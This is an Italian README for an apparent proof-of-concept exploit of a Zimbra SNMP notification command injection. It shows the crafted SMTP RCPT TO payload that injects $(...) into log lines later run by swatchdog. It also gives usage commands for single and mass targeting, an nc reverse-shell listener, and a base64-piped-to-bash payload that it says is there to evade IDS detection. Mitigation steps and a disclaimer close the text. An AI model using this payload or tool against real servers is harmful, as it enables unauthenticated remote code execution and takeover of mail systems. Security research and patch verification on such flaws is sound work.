
Zimbra SNMP Notification OS Command Injection — RCE non autenticato tramite exploit SMTP (Poc)
| Campo | Valore |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ALTO — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralizzazione impropria di elementi speciali usati in un comando del sistema operativo |
| Interessati | Zimbra ZCS < 10.1.20 (con zimbra-snmp installato) |
| Corretto in | ZCS 10.1.20 — luglio 2026 |
| CISA KEV | Aggiunto 2026-08-21 (scadenza rimedio FCEB: 2026-08-24) |
| Auth richiesta | Nessuna |
| Esecuzione come | utente OS zimbra |
Il pacchetto opzionale zimbra-snmp include una regola swatchdog che monitora /var/log/zimbra.log per righe corrispondenti a:
Service status change: <NAME> changed from <STATE> to <STATE>
Quando viene trovata una corrispondenza, swatchdog passa il campo <NAME> catturato direttamente allo script di shell di notifica SNMP senza alcuna sanificazione.
Un attaccante non autenticato può iniettare una voce di log appositamente costruita inviando un comando SMTP RCPT TO formattato ad hoc. Utilizzando una parte locale tra virgolette RFC 5321, metacaratteri di shell — ad es. $(...) — vengono incorporati all'interno di <NAME> e vengono eseguiti quando swatchdog elabora la riga di log risultante.
Tutte e tre le condizioni devono essere vere sul target affinché la vulnerabilità sia sfruttabile:
zimbra-snmp è installatosnmp_notify = true)swatchdog è in esecuzioneAttaccante Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── registra dati RCPT TO ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog trova
│ │ corrispondenza,
│ │ estrae
│ │ $(CMD), esegue
│◄─────────── callback di shell ───────────────────────────────────────┘
RCPT TO armato.swatchdog trova la corrispondenza nel pattern di log ed estrae il $(CMD) iniettato.CMD come utente OS zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — un host per riga, :porta opzionale, le righe che iniziano con # vengono ignorate:
mail.example.com
mail.example.com:25
10.0.0.50:587
# commento ignorato
| Flag | Long | Default | Descrizione |
|---|---|---|---|
-H | --host | — | Hostname o IP del target singolo |
-f | --file | — | File contenente l'elenco dei target |
-p | --port | 587 | Porta SMTP predefinita |
-r | --rhost | — | Il tuo IP per il callback della reverse shell |
-R | --rport | 4444 | Porta del listener |
-t | --timeout | 15 | Timeout del socket in secondi |
-S | --ssl | off | TLS diretto (auto-abilitato sulla porta 465) |
-v | --verbose | off | Stampa l'intero dialogo SMTP |
-L | --logfile | — | Scrive il log della sessione su file |
-h | --help | — | Mostra l'aiuto |
# Terminale 1 — avvia il listener
nc -lvnp 4444
# Terminale 2 — esegui l'exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
Il comando della reverse shell viene codificato in base64 prima dell'iniezione:
echo <b64>|base64 -d|bash
Questo impedisce a IDS/IPS di rilevare firme in testo semplice come /dev/tcp, bash -i o nc -e. Il blob codificato viene iniettato come $(...) all'interno della parte locale tra virgolette di RCPT TO, attivando l'esecuzione lato server quando swatchdog elabora la voce di log.
| Azione | Dettaglio |
|---|---|
| Patch | Aggiornare a Zimbra ZCS ≥ 10.1.20 |
| Disabilitare notifica SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Rimuovere il pacchetto | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Controlli di rete | Limitare la SMTP in ingresso (25/465/587) a relay fidati dove operativamente fattibile |
Questa proof-of-concept è rilasciata esclusivamente per test di sicurezza autorizzati, ricerca accademica e scopi difensivi.
Eseguirla contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test è illegale.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.